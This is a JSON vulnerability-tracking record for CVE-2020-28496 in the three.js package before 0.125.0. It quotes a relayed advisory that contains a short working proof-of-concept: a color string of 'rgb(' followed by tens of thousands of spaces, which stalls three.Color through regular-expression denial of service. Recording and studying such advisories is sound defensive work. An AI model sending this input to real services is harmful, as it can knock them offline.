{"vulnerability": "cve-2020-28496", "sightings": [{"uuid": "c6df43c1-b096-4570-a2bf-263444e57baa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2020-28496", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/23801", "content": "\u203c CVE-2020-28496 \u203c\n\nThis affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i &lt; n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-02-18T18:50:12.000000Z"}]}